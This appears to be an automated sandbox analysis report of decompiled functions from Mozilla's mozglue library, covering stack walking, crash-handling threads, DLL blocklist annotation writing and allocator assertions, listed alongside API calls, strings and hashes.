Instruction ID: 6812889452a0a8b8f86aa0cf9f41abc805a94af2841f7a05573683ccb2f56b83
Opcode Fuzzy Hash: 1c6d6e85c9d555e6c4b6774a1454bf208469012904fc2418a2baf871eeda5d87
Instruction Fuzzy Hash: DB813B7090125A9FDB54CF29C98CB99B7B8FF09350F1146AAD40CA7741DB70AE94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6D86AEA2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 132
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D86AEA2(void* __ebx, signed int __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v212;
				int _v220;
				long _v224;
				intOrPtr _v228;
				int _v236;
				long _v240;
				intOrPtr _v244;
				signed int _v252;
				signed int _v256;
				intOrPtr _v260;
				int _v268;
				void _v272;
				char _v988;
				intOrPtr _v992;
				signed int _v996;
				signed int _v1000;
				long _v1008;
				signed int _t55;
				intOrPtr _t62;
				void* _t63;
				long _t66;
				void* _t69;
				intOrPtr _t70;
				void* _t84;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				CONTEXT* _t94;
				intOrPtr* _t96;
				signed int _t97;
				void* _t98;

				_t85 = __ecx;
				_t55 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t55 ^ _t97;
				_t96 = _a4;
				_t94 =  *(_t96 + 0x34);
				if(_t94 != 0) {
					L4:
					memset( &_v272, 0, 0x108);
					_v268 = 0;
					_v272 = _t94->Eip;
					_v220 = 0;
					_v224 = _t94->Esp;
					_v236 = 0;
					_v240 = _t94->Ebp;
					_t62 = 3;
					_t83 =  !=  ? _t62 : 0;
					_v260 = _t62;
					_t84 = ( !=  ? _t62 : 0) +  *((intOrPtr*)(_t96 + 4));
					_v212 = _t62;
					_v228 = _t62;
					_v244 = _t62;
					goto L5;
					do {
						do {
							L5:
							EnterCriticalSection(0x6d88030c);
							_t63 =  &_v272;
							__imp__StackWalk64(0x14c,  *((intOrPtr*)(_t96 + 0xc)),  *(_t96 + 8), _t63, _t94, 0, __imp__SymFunctionTableAccess64, __imp__SymGetModuleBase64, 0);
							_v992 = _t63;
							LeaveCriticalSection(0x6d88030c);
							if(_v992 == 0) {
								asm("xorps xmm0, xmm0");
								asm("movlpd [ebp-0x3e4], xmm0");
								asm("movlpd [ebp-0x3ec], xmm0");
								if( *_t96 == 0) {
									goto L19;
								}
								E6D86ADB0(_t85, "WalkStack64");
								_t91 = _v1000;
								_t66 = _v1008;
								_t85 = _v996;
								L9:
								_v996 = _t66;
								if(_v992 == 0 || (_t91 | _t85) == 0) {
									goto L19;
								} else {
									goto L11;
								}
							}
							_t91 = _v272;
							_t85 = _v268;
							_t66 = _v224;
							goto L9;
							L11:
							_t69 = _t84;
							_t84 = _t84 - 1;
						} while (_t69 > 0);
						_t89 =  *(_t96 + 0x20);
						if(_t89 <  *((intOrPtr*)(_t96 + 0x1c))) {
							 *( *((intOrPtr*)(_t96 + 0x18)) + _t89 * 4) = _t91;
						}
						 *(_t96 + 0x20) =  *(_t96 + 0x20) + 1;
						_t85 =  *(_t96 + 0x30);
						if(_t85 <  *((intOrPtr*)(_t96 + 0x2c))) {
							 *( *((intOrPtr*)(_t96 + 0x28)) + _t85 * 4) = _v996;
						}
						 *(_t96 + 0x30) =  *(_t96 + 0x30) + 1;
						_t70 =  *((intOrPtr*)(_t96 + 0x24));
						if(_t70 != 0 &&  *(_t96 + 0x20) == _t70) {
							break;
						}
					} while ((_v256 | _v252) != 0);
					L19:
					return E6D8770C0(_v8 ^ _t97);
				}
				_t94 =  &_v988;
				memset(_t94, 0, 0x2cc);
				_t98 = _t98 + 0xc;
				_v988 = 0x10007;
				if(GetThreadContext( *(_t96 + 8), _t94) != 0) {
					goto L4;
				}
				if( *_t96 != 0) {
					E6D86ADB0(_t85, "GetThreadContext");
				}
				goto L19;
			}

0x6d86aea2
0x6d86aeab
0x6d86aeb2
0x6d86aeb7
0x6d86aebd
0x6d86aec2
0x6d86af0d
0x6d86af1a
0x6d86af28
0x6d86af2e
0x6d86af3a
0x6d86af40
0x6d86af4c
0x6d86af58
0x6d86af5e
0x6d86af5f
0x6d86af62
0x6d86af68
0x6d86af6b
0x6d86af71
0x6d86af77
0x6d86af77
0x6d86af7d
0x6d86af7d
0x6d86af7d
0x6d86af82
0x6d86af90
0x6d86afab
0x6d86afb6
0x6d86afbc
0x6d86afc9
0x6d86afe2
0x6d86afe5
0x6d86afed
0x6d86aff5
0x00000000
0x00000000
0x6d86b000
0x6d86b005
0x6d86b00b
0x6d86b012
0x6d86b018
0x6d86b01f
0x6d86b025
0x00000000
0x00000000
0x00000000
0x00000000
0x6d86b025
0x6d86afcb
0x6d86afd1
0x6d86afd7
0x00000000
0x6d86b02d
0x6d86b02d
0x6d86b02f
0x6d86b030
0x6d86b038
0x6d86b03e
0x6d86b043
0x6d86b043
0x6d86b046
0x6d86b049
0x6d86b04f
0x6d86b05a
0x6d86b05a
0x6d86b05d
0x6d86b060
0x6d86b065
0x00000000
0x00000000
0x6d86b072
0x6d86b07e
0x6d86b08e
0x6d86b08e
0x6d86aec9
0x6d86aed3
0x6d86aed8
0x6d86aedb
0x6d86aef3
0x00000000
0x00000000
0x6d86aef7
0x6d86af02
0x6d86af07
0x00000000

APIs

memset.VCRUNTIME140(?,00000000,000002CC,00000000,?,7519F560), ref: 6D86AED3
GetThreadContext.KERNEL32(?,?,00000000,?,7519F560), ref: 6D86AEEB

Part of subcall function 6D86ADB0: GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
Part of subcall function 6D86ADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
Part of subcall function 6D86ADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
Part of subcall function 6D86ADB0: LocalFree.KERNEL32(?), ref: 6D86AE0E

memset.VCRUNTIME140(?,00000000,00000108,00000000,?,7519F560), ref: 6D86AF1A
EnterCriticalSection.KERNEL32(6D88030C,00000000,?,7519F560), ref: 6D86AF82
StackWalk64.DBGHELP(0000014C,?,?,?,?,00000000,00000000), ref: 6D86AFAB
LeaveCriticalSection.KERNEL32(6D88030C), ref: 6D86AFBC

Strings

WalkStack64, xrefs: 6D86AFFB
GetThreadContext, xrefs: 6D86AEFD

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection__acrt_iob_funcmemset$ContextEnterErrorFormatFreeLastLeaveLocalMessageStackThreadWalk64fflush
String ID: GetThreadContext$WalkStack64
API String ID: 2174353461-3940223035
Opcode ID: e81ff2255da2b8607686e2ad0bbf264caca5af436c8410d28c85c2a6c363b23c
Instruction ID: e2202ccf05a4b4e83b654d8406e703e8e534ea327378d48c0ded890806344b13
Opcode Fuzzy Hash: e81ff2255da2b8607686e2ad0bbf264caca5af436c8410d28c85c2a6c363b23c
Instruction Fuzzy Hash: F2516D70A10399DFDB21CF64C888BA9B7F9FF49354F0049AAE559A7240D770AE80CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6D86A69F, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D86A69F(void* __ecx) {
				char _v8;
				char _t3;
				char _t6;
				void* _t7;
				void* _t15;
				void* _t24;

				_t13 = __ecx;
				_push(__ecx);
				_t3 =  *0x6d880325; // 0x0
				if(_t3 == 0) {
					_t24 =  *0x6d880328; // 0x0
					if(_t24 != 0) {
						L7:
						if(WaitForSingleObject( *0x6d88032c, 0x3e8) != 0x102) {
							CloseHandle( *0x6d88032c);
							 *0x6d880328 = 0;
							_t6 = 1;
							 *0x6d880325 = 1;
							L10:
							 *0x6d88032c = 0;
							L11:
							return _t6;
						}
						L8:
						_t6 = 0;
						goto L11;
					}
					_t7 = CreateEventA(0, 0, 0, 0);
					 *0x6d88032c = _t7;
					if(_t7 != 0) {
						__imp___beginthreadex(0, 0, E6D86B090, _t7, 0,  &_v8);
						_t15 = _t7;
						 *0x6d880328 = _t15;
						if(_t15 != 0) {
							 *0x6d880308 = _v8;
							CloseHandle(_t15);
							goto L7;
						}
						E6D86ADB0(_t15, "CreateThread");
						CloseHandle( *0x6d88032c);
						_t6 = 0;
						goto L10;
					}
					E6D86ADB0(_t13, "CreateEvent");
					goto L8;
				}
				return _t3;
			}

0x6d86a69f
0x6d86a6a2
0x6d86a6a3
0x6d86a6aa
0x6d86a6b3
0x6d86a6b9
0x6d86a727
0x6d86a73d
0x6d86a749
0x6d86a74f
0x6d86a755
0x6d86a757
0x6d86a75e
0x6d86a75e
0x6d86a764
0x00000000
0x6d86a764
0x6d86a73f
0x6d86a73f
0x00000000
0x6d86a73f
0x6d86a6bf
0x6d86a6c5
0x6d86a6cc
0x6d86a6e8
0x6d86a6ee
0x6d86a6f3
0x6d86a6fb
0x6d86a71c
0x6d86a721
0x00000000
0x6d86a721
0x6d86a702
0x6d86a70e
0x6d86a714
0x00000000
0x6d86a714
0x6d86a6d3
0x00000000
0x6d86a6d8
0x6d86a768

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D86A6BF
_beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6D86B090,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D86A6E8
CloseHandle.KERNEL32 ref: 6D86A70E

Part of subcall function 6D86ADB0: GetLastError.KERNEL32(00000000,?,6D86A707,CreateThread), ref: 6D86ADB4
Part of subcall function 6D86ADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D86A707,CreateThread), ref: 6D86ADCE
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D86A707,00000000,?,6D86A707), ref: 6D86ADEC
Part of subcall function 6D86ADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D86A707), ref: 6D86ADFB
Part of subcall function 6D86ADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D86AE02
Part of subcall function 6D86ADB0: LocalFree.KERNEL32(?), ref: 6D86AE0E

WaitForSingleObject.KERNEL32(000003E8,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D86A732
CloseHandle.KERNEL32(?,?,MOZ_CRASH(Bad format string)), ref: 6D86A749

Strings

CreateEvent, xrefs: 6D86A6CE
CreateThread, xrefs: 6D86A6FD

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle__acrt_iob_func$CreateErrorEventFormatFreeLastLocalMessageObjectSingleWait_beginthreadexfflush
String ID: CreateEvent$CreateThread
API String ID: 1896352820-223570749
Opcode ID: 73f1977cf382552562d9fceb9c1d433a178042f5c15eacb12c94b3375c38a676
Instruction ID: 51cc5f90876a992616afc72ffe9ec38aabf0d58ce1d180b6f257749c0cddeb5c
Opcode Fuzzy Hash: 73f1977cf382552562d9fceb9c1d433a178042f5c15eacb12c94b3375c38a676
Instruction Fuzzy Hash: 88114C74425395ABCF21AB6A9D4CF6A3BB9EB8FB6BF50041DF84482201EB314441DBB4

Uniqueness

Uniqueness Score: -1.00%

Function 6D869100, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,6D869221,?,?,6D8800D8,00000001), ref: 6D869105
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6D8800D8,00000000,?,6D869221,?,?,6D8800D8,00000001), ref: 6D86910F
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,6D869221,?,?,6D8800D8,00000001), ref: 6D869117
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6D87A5C8,00000000,?,6D869221,?,?,6D8800D8,00000001), ref: 6D869123

Part of subcall function 6D868DD0: GetCurrentProcess.KERNEL32(00000003,?,6D8674AE,000000A0,00000000), ref: 6D868DDD
Part of subcall function 6D868DD0: TerminateProcess.KERNEL32(00000000,?,6D8674AE,000000A0,00000000), ref: 6D868DE4

mozalloc_abort.MOZGLUE(00000000,?,0000001F), ref: 6D86914C

Part of subcall function 6D869100: calloc.MOZGLUE(00000001,?), ref: 6D86916E

malloc.MOZGLUE(?), ref: 6D869176

Strings

MOZ_CRASH(), xrefs: 6D869129

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Process__acrt_iob_funcfputs$CurrentTerminatecallocmallocmozalloc_abort
String ID: MOZ_CRASH()
API String ID: 1189084029-2608361144
Opcode ID: 87ac3a94e691aa748d91d8d3e54d18ce2c067d11a0020105dde7a7668c96cf34
Instruction ID: 034cf6ae9ea99172b83c78fcdc778c6eb5c06ffdf01a7c3defe4af9989b14c2a
Opcode Fuzzy Hash: 87ac3a94e691aa748d91d8d3e54d18ce2c067d11a0020105dde7a7668c96cf34
Instruction Fuzzy Hash: 71F0623104824DAFDB043BE8980DFAD3B6DAB4A725F114814BB29495D29F61A500CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 6D862200, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D862200(void* _a4) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t10;
				void* _t13;
				void* _t20;

				_t20 = _a4;
				WriteFile(_t20, "BlockedDllList=", 0xf,  &_v8, 0);
				_push(_t20);
				E6D862825(_t13, 0, _t20);
				_t10 = WriteFile(_t20, "\n", 1,  &_v8, 0);
				if( *0x6d88019d != 0) {
					_t10 = WriteFile(_t20, "BlocklistInitFailed=1\n", 0x16,  &_v8, 0);
				}
				if( *0x6d88019e != 0) {
					_t10 = WriteFile(_t20, "User32BeforeBlocklist=1\n", 0x18,  &_v8, 0);
				}
				return _t10;
			}

0x6d862205
0x6d862218
0x6d86221e
0x6d86221f
0x6d862232
0x6d86223f
0x6d86224e
0x6d86224e
0x6d86225b
0x6d86226a
0x6d86226a
0x6d862275

APIs

WriteFile.KERNEL32(?,BlockedDllList=,0000000F,?,00000000), ref: 6D862218

Part of subcall function 6D862825: EnterCriticalSection.KERNEL32(6D8801A4,6D87BDB0,0000003C,6D862224,?), ref: 6D862839
Part of subcall function 6D862825: WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 6D862869
Part of subcall function 6D862825: WriteFile.KERNEL32(?,6D87A48C,00000001,?,00000000,?,?,00000000,?,?,00000000), ref: 6D86288C
Part of subcall function 6D862825: _ltoa.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A,?,?,00000000,?,?,00000000), ref: 6D8628C8
Part of subcall function 6D862825: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6D8628EC
Part of subcall function 6D862825: WriteFile.KERNEL32(?,6D87A490,00000001,?,00000000), ref: 6D862905
Part of subcall function 6D862825: WriteFile.KERNEL32(?,6D87A494,00000001,?,00000000,?,?,00000000), ref: 6D86291C

WriteFile.KERNEL32(?,6D87A5C8,00000001,?,00000000), ref: 6D862232
WriteFile.KERNEL32(?,BlocklistInitFailed=1,00000016,?,00000000), ref: 6D86224E
WriteFile.KERNEL32(?,User32BeforeBlocklist=1,00000018,?,00000000), ref: 6D86226A

Strings

BlockedDllList=, xrefs: 6D862212
BlocklistInitFailed=1, xrefs: 6D862248
User32BeforeBlocklist=1, xrefs: 6D862264

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$CriticalEnterSection_ltoa
String ID: BlockedDllList=$BlocklistInitFailed=1$User32BeforeBlocklist=1
API String ID: 1469143545-275349794
Opcode ID: f888759f113faafb09fe5acef2858e6a0b4e6e4cb97739bae758a50f0876bca9
Instruction ID: ff24f4b09e002fbd394c161fd2639c9ee651c6a3b3e9a4c905e89f56a3e6afcd
Opcode Fuzzy Hash: f888759f113faafb09fe5acef2858e6a0b4e6e4cb97739bae758a50f0876bca9
Instruction Fuzzy Hash: 79014B7A501158BAEB219A958C4DFEE7BBCDB8B716F000055FA04E1182D7645A45C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 6D862170, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6D8800C8), ref: 6D862186
GetModuleHandleW.KERNEL32(ntdll.dll,LdrRegisterDllNotification), ref: 6D8621AF
GetProcAddress.KERNEL32(00000000), ref: 6D8621B6
jemalloc_purge_freed_pages.MOZGLUE(00000000,6D862280,00000000,6D8801C0), ref: 6D8621CE
ReleaseSRWLockExclusive.KERNEL32(6D8800C8), ref: 6D8621DE

Strings

LdrRegisterDllNotification, xrefs: 6D8621A5
ntdll.dll, xrefs: 6D8621AA

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAddressHandleModuleProcReleasejemalloc_purge_freed_pages
String ID: LdrRegisterDllNotification$ntdll.dll
API String ID: 2968301848-742318871
Opcode ID: 6597e6b9f4e3bdb96842b6471374300b3f6b80b6f575bfe3d6f1171e4a9aee51
Instruction ID: fc90c8dec13ea00a08b965c01aada0dee563e749a11d0ea214d0c3bd02cb6a78
Opcode Fuzzy Hash: 6597e6b9f4e3bdb96842b6471374300b3f6b80b6f575bfe3d6f1171e4a9aee51
Instruction Fuzzy Hash: 7E011275505215EBCB106F6A8C4CF7EBBB8FB4B762F004959FA0597241CB359900CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 6D86815E, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D86815E(void* __ebx, void* __edx, void* __edi, void* __esi, char _a4, intOrPtr _a8) {
				signed int _v12;
				char _v16;
				char _v32;
				signed int _v56;
				char _v368;
				char _v376;
				signed int _t25;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t55;
				intOrPtr _t58;
				intOrPtr _t63;
				struct _CRITICAL_SECTION* _t65;
				signed int _t68;
				signed int _t69;

				_t55 = __edx;
				EnterCriticalSection(0x6d88028c);
				_v16 = _a4;
				_t63 =  *((intOrPtr*)(E6D86722B(0x6d8802a4,  &_a4,  &_v32)));
				if(_t63 == 0) {
					E6D8690E5("MOZ_RELEASE_ASSERT(node) (Double-free?)");
					asm("int3");
					 *_t69 = 0xe5b;
					goto L6;
				} else {
					_t33 = _a8;
					if(_t33 == 0 ||  *((intOrPtr*)(_t63 + 0x18)) == _t33) {
						E6D866C68(0x6d88028c, 0x6d8802a4, 0x6d8802a4, _t63, _t63);
						_t35 =  *((intOrPtr*)(_t63 + 0x14));
						 *0x6d8802a8 =  *0x6d8802a8 - _t35;
						 *0x6d8802ac =  *0x6d8802ac - (_t35 + 0x000fffff & 0xfff00000);
						LeaveCriticalSection(0x6d88028c);
						__eflags =  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000;
						E6D867D7A(_t55,  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000,  *((intOrPtr*)(_t63 + 0x10)),  *((intOrPtr*)(_t63 + 0x14)) + 0x000fffff & 0xfff00000, 3);
						return E6D867AED(_t63);
					} else {
						E6D8690E5("MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena)");
						asm("int3");
						 *_t69 = 0xe5d;
						L6:
						E6D868DD0();
						asm("int3");
						_t68 = _t69;
						_t25 =  *0x6d88003c; // 0xf32417cd
						_v56 = _t25 ^ _t68;
						if( *0x6d8801e4 != 0) {
							_push(_t63);
							_push(0x6d8802a4);
							EnterCriticalSection(0x6d880228);
							E6D86335E( &_v368, 0x6d880248);
							_v16 = 0x6d88024c;
							_t58 =  *((intOrPtr*)(E6D867B92( &_v368,  &_v376) + 4));
							while(_t58 != 0) {
								_t16 = _t58 + 0xc; // 0xc
								_t65 = _t16;
								EnterCriticalSection(_t65);
								E6D86577E(_t58, 1);
								LeaveCriticalSection(_t65);
								_t58 = E6D8654B3( &_v368);
							}
							LeaveCriticalSection(0x6d880228);
						}
						__eflags = _v12 ^ _t68;
						return E6D8770C0(_v12 ^ _t68);
					}
				}
			}

0x6d86815e
0x6d86816d
0x6d86817b
0x6d86818d
0x6d868191
0x6d868207
0x6d86820c
0x6d86820d
0x00000000
0x6d868193
0x6d868193
0x6d868198
0x6d8681b6
0x6d8681bb
0x6d8681c3
0x6d8681d0
0x6d8681d7
0x6d8681e7
0x6d8681ed
0x6d868201
0x6d86819f
0x6d8681a4
0x6d8681a9
0x6d8681aa
0x6d868214
0x6d868214
0x6d868219
0x6d86821b
0x6d868223
0x6d86822a
0x6d868234
0x6d868236
0x6d868237
0x6d86823d
0x6d86824e
0x6d868259
0x6d86826c
0x6d86826f
0x6d868273
0x6d868273
0x6d868277
0x6d868281
0x6d868287
0x6d868298
0x6d868298
0x6d8682a1
0x6d8682a8
0x6d8682ac
0x6d8682b6
0x6d8682b6
0x6d868198

APIs

EnterCriticalSection.KERNEL32(6D88028C,?,000FF000,000FF000,?,?,?,?,6D865AA3,000FF000,?,?,00000000,00000000), ref: 6D86816D
LeaveCriticalSection.KERNEL32(6D88028C,000FF000,000FF000,?,?,?,?,?,6D865AA3,000FF000,?,?,00000000,00000000), ref: 6D8681D7
EnterCriticalSection.KERNEL32(6D880228,6D8802A4,000FF000), ref: 6D86823D
EnterCriticalSection.KERNEL32(?,?,6D880248), ref: 6D868277
LeaveCriticalSection.KERNEL32(?,00000001), ref: 6D868287
LeaveCriticalSection.KERNEL32(6D880228,?,6D880248), ref: 6D8682A1

Strings

MOZ_RELEASE_ASSERT(node) (Double-free?), xrefs: 6D868202
MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena), xrefs: 6D86819F

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: MOZ_RELEASE_ASSERT(!aArena || node->mArena == aArena)$MOZ_RELEASE_ASSERT(node) (Double-free?)
API String ID: 3168844106-4158521235
Opcode ID: a97fb57ba29d086e2d8ec38804808762e67e742b392e18080b2bc65142301e4a
Instruction ID: d8d7fe11387e81b18fbc7c28ab362ae96c30bed5e761ddcaada0658155d8ba50
Opcode Fuzzy Hash: a97fb57ba29d086e2d8ec38804808762e67e742b392e18080b2bc65142301e4a
Instruction Fuzzy Hash: 83312535905648ABCB11AF6ADC4CAEEB7BCEF46321F010D59EA1D93281CB349905CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 6D862825, Relevance: 12.1, APIs: 8, Instructions: 94
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D862825(void* __ebx, void* __edi, void* __esi) {
				int _t30;
				void _t32;
				intOrPtr _t46;
				void* _t53;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				void* _t59;
				signed int _t61;
				void** _t63;
				void* _t64;
				void* _t65;

				_t30 = E6D877890(__ebx, __edi, __esi, 0x6d87bdb0, 0x3c);
				_t53 =  *(_t64 + 8);
				EnterCriticalSection(0x6d8801a4);
				 *(_t64 - 4) =  *(_t64 - 4) & 0x00000000;
				_t63 =  *0x6d8800d4; // 0x0
				while(_t63 != 0) {
					_t54 =  *_t63;
					_t58 = _t54 + 1;
					do {
						_t32 =  *_t54;
						_t54 = _t54 + 1;
					} while (_t32 != 0);
					WriteFile(_t53,  *_t63, _t54 - _t58, _t64 - 0x48, 0);
					if((_t63[2] & _t63[3]) != 0xffffffff) {
						WriteFile(_t53, ",", 1, _t64 - 0x48, 0);
						 *((short*)(_t64 - 0x24)) = _t63[3];
						 *((short*)(_t64 - 0x22)) = _t63[3];
						 *((short*)(_t64 - 0x20)) = _t63[2];
						 *((short*)(_t64 - 0x1e)) = _t63[2];
						_t61 = 0;
						while(1) {
							 *(_t64 - 0x4c) = _t61;
							if(_t61 >= 4) {
								goto L12;
							}
							__imp___ltoa( *(_t64 + _t61 * 2 - 0x24) & 0x0000ffff, _t64 - 0x44, 0xa);
							_t65 = _t65 + 0xc;
							_t56 = _t64 - 0x44;
							_t59 = _t56 + 1;
							do {
								_t46 =  *_t56;
								_t56 = _t56 + 1;
							} while (_t46 != 0);
							WriteFile(_t53, _t64 - 0x44, _t56 - _t59, _t64 - 0x48, 0);
							if(_t61 != 3) {
								WriteFile(_t53, ".", 1, _t64 - 0x48, 0);
							}
							_t61 = _t61 + 1;
						}
					}
					L12:
					_t30 = WriteFile(_t53, ";", 1, _t64 - 0x48, 0);
					_t63 = _t63[4];
				}
				 *(_t64 - 4) = 0xfffffffe;
				LeaveCriticalSection(0x6d8801a4);
				return E6D8778D9(_t30);
			}

0x6d86282c
0x6d862831
0x6d862839
0x6d86283f
0x6d862843
0x6d862849
0x6d862851
0x6d862853
0x6d862856
0x6d862856
0x6d862858
0x6d862859
0x6d862869
0x6d862878
0x6d86288c
0x6d862896
0x6d86289e
0x6d8628a6
0x6d8628ae
0x6d8628b2
0x6d8628b4
0x6d8628b4
0x6d8628ba
0x00000000
0x00000000
0x6d8628c8
0x6d8628ce
0x6d8628d1
0x6d8628d4
0x6d8628d7
0x6d8628d7
0x6d8628d9
0x6d8628da
0x6d8628ec
0x6d8628f5
0x6d862905
0x6d862905
0x6d86290b
0x6d86290b
0x6d8628b4
0x6d86290e
0x6d86291c
0x6d862922
0x6d862922
0x6d862931
0x6d86293d
0x6d862948

APIs

EnterCriticalSection.KERNEL32(6D8801A4,6D87BDB0,0000003C,6D862224,?), ref: 6D862839
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 6D862869
WriteFile.KERNEL32(?,6D87A48C,00000001,?,00000000,?,?,00000000,?,?,00000000), ref: 6D86288C
_ltoa.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A,?,?,00000000,?,?,00000000), ref: 6D8628C8
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6D8628EC
WriteFile.KERNEL32(?,6D87A490,00000001,?,00000000), ref: 6D862905
WriteFile.KERNEL32(?,6D87A494,00000001,?,00000000,?,?,00000000), ref: 6D86291C
LeaveCriticalSection.KERNEL32(6D8801A4), ref: 6D86293D

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$CriticalSection$EnterLeave_ltoa
String ID:
API String ID: 2242151584-0
Opcode ID: 811740c2b45d14fee9616bb5b9dc0db4619b58920bd66d252af0d738ffaa1495
Instruction ID: 463ee6fda080630a8cc093cd9479e76aaf9b78744d694f76fc698fbd84cb0fb4
